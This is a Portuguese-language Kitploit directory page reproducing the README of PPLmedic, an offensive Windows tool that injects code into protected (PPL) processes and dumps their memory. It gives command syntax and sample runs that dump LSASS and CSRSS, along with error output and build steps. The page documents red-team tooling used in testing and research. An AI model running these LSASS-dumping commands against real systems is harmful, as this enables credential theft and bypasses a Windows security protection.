Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
PPLmedic — Despejar a memória de qualquer PPL com uma cadeia de exploits em Userland. | Kitploit
Ferramentas/GitHubGitHub/itm4n/pplmedic
Escalada de PrivilégiosExploraçãoPós-ExploraçãoRed TeamingDesenvolvimento de PayloadsArchived
GitHubitm4n/pplmedic

PPLmedic

Despejar a memória de qualquer PPL com uma cadeia de exploits em Userland.

Ver Repositório
35339há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PPLmedic

Esta ferramenta implementa uma cadeia de exploração Userland para injetar código arbitrário em um PPL com o tipo de signer Windows e elevar para o tipo de signer WinTcb. Essas técnicas foram originalmente discutidas por James Forshaw (a.k.a. @tiraniddo) em sua postagem no blog Injecting Code into Windows Protected Processes using COM - Part 1.

Para saber mais sobre esta ferramenta, leia a postagem complementar no blog aqui:

  • Bypassing PPL in Userland (again)

💣 Aviso

Eu classificaria esta ferramenta como um Proof-of-Concept avançado. Você deve pensar duas vezes antes de usá-la em um trabalho real. É segura de usar desde que não seja interrompida, o que não pode ser garantido na presença de um EDR, por exemplo.

Ela modifica chaves de registro importantes relacionadas ao serviço Windows Update Medic. Na pior das hipóteses, se essas chaves de registro não forem restauradas corretamente, esse serviço deixará de funcionar corretamente, mas isso não derrubará o SO.

📝 Uso

Pré-requisitos:

  • Privilégios: Administrador ou SYSTEM com SeDebugPrivilege
  • Plataforma: Windows 10/11 ou Windows Server 2019/2022
  • Arquitetura: Somente x86_64 é suportada
root@kitploit:~
REM Use the option -p to elevate from PPL-Windows to PPL-WinTcb
PPLmedic.exe dump "PID" "C:\FULL\PATH\TO\DUMP.dmp" [-p]

Efetuar o dump de um PPL-Windows ou inferior (ex.: LSASS):

root@kitploit:~
C:\WINDOWS\system32>tasklist | findstr lsass
lsass.exe                      756 Services                   0     20,028 K

C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 756 c:\Temp\lsass.dmp
[...]
[+] Payload DLL successfully loaded after 272 attempts!
[*] Deleting 272 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[+] Memory dump of process with PID 756 successful: c:\Temp\lsass.dmp
[...]

Efetuar o dump de um PPL-WinTcb (ex.: CSRSS):

root@kitploit:~
C:\WINDOWS\system32>tasklist | findstr csrss
csrss.exe                      520 Services                   0     26,420 K
csrss.exe                      608 Console                    1     57,548 K

C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 520 c:\Temp\csrss.dmp -p
[...]
[+] Payload DLL successfully loaded after 181 attempts!
[*] Deleting 181 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[+] Target file 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' should now be cache signed (level=12 - Windows).
[*] Connected to remote process.
[+] Remote process protection level: 0x00000000 (PsProtectedSignerWinTcb-Light)
[+] Memory dump of process with PID 520 successful: c:\Temp\csrss.dmp
[...]

📋 Testes

🚧 Problemas conhecidos

Erro: "Unexpected error or timeout"

Você recebe o seguinte erro porque o exploit excedeu o tempo limite ao tentar criar um objeto COM TaskHandler remoto. Isso geralmente é um sinal de que o serviço de destino WaaSMedicSvc travou. Isso pode ser confirmado com a próxima mensagem: [!] Service WaaSMedicSvc is no longer running. Você deve tentar executar a ferramenta novamente.

root@kitploit:~
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Unexpected error or timeout while trying to create a remote TaskHandler instance.
[!] Service WaaSMedicSvc is no longer running, it probably crashed because of an invalid handle value.
[...]

Erro: "Reached the maximum number of attempts"

Você recebe o seguinte erro porque o exploit falhou ao escrever um diretório de objetos válido em menos de 1000 tentativas. Esse limite serve como uma proteção para impedir que o serviço de destino consuma recursos demais. Você deve tentar executar a ferramenta novamente.

root@kitploit:~
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[...]
[*] Attempt 1000/1000 (100%)
[-] Reached the maximum number of attempts.
[...]

Erro: "Failed to write LdrpKnownDllDirectoryHandle value"

Você recebe o seguinte erro porque ocorreu um erro inesperado ao chamar LaunchDetectionOnly ou LaunchRemediationOnly. No entanto, isso deve ser bastante raro. Você deve tentar executar a ferramenta novamente.

root@kitploit:~
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Failed to write LdrpKnownDllDirectoryHandle value (thread exit code: 0x800706ba).
[...]

Erro: "Failed to cache sign ..."

Você recebe o seguinte erro porque o exploit falhou em realizar o cache sign da DLL do payload. O oplock definido no arquivo de catálogo provavelmente nunca foi acionado porque ele já havia sido aberto pelo Kernel. Você pode tentar executar a ferramenta novamente mais tarde (para Windows 11, consulte a seção "Testes").

root@kitploit:~
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp -p
[...]
[*] Trying to write a valid object directory handle...
[+] Payload DLL successfully loaded after 1 attempts!
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[-] Failed to cache sign 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' (LE: 997).
[...]

🏗 Instruções de compilação

Esta solução do Visual Studio contém dois projetos (o executável e uma DLL de payload) que precisam ser compilados em uma ordem específica. Tudo está pré-configurado, então basta seguir estas instruções simples. A DLL de payload compilada é embutida automaticamente no executável final.

  1. Abra a solução com o Visual Studio 2019.
  2. Selecione Release / x64 (x86 não é suportado!).
  3. Build > Build Solution.

🎖 Créditos

  • @tiraniddo - Injecting Code into Windows Protected Processes using COM - Part 1
    https://googleprojectzero.blogspot.com/2018/10/injecting-code-into-windows-protected.html
Baixar ferramenta
Versão do WindowsPPL-WindowsPPL-WinTcbObservação
Windows 10 22H2 Build 19045.2673✔✔N/A
Windows 11 22H2 Build 22621.1344⚠❌Falha frequente do serviço + o exploit de assinatura de cache falsa não parece funcionar.
Windows Server 2019 Version 1809 Build 17763.4010✔✔N/A
Windows Server 2022 Version 21H2 Build 20348.1547✔✔N/A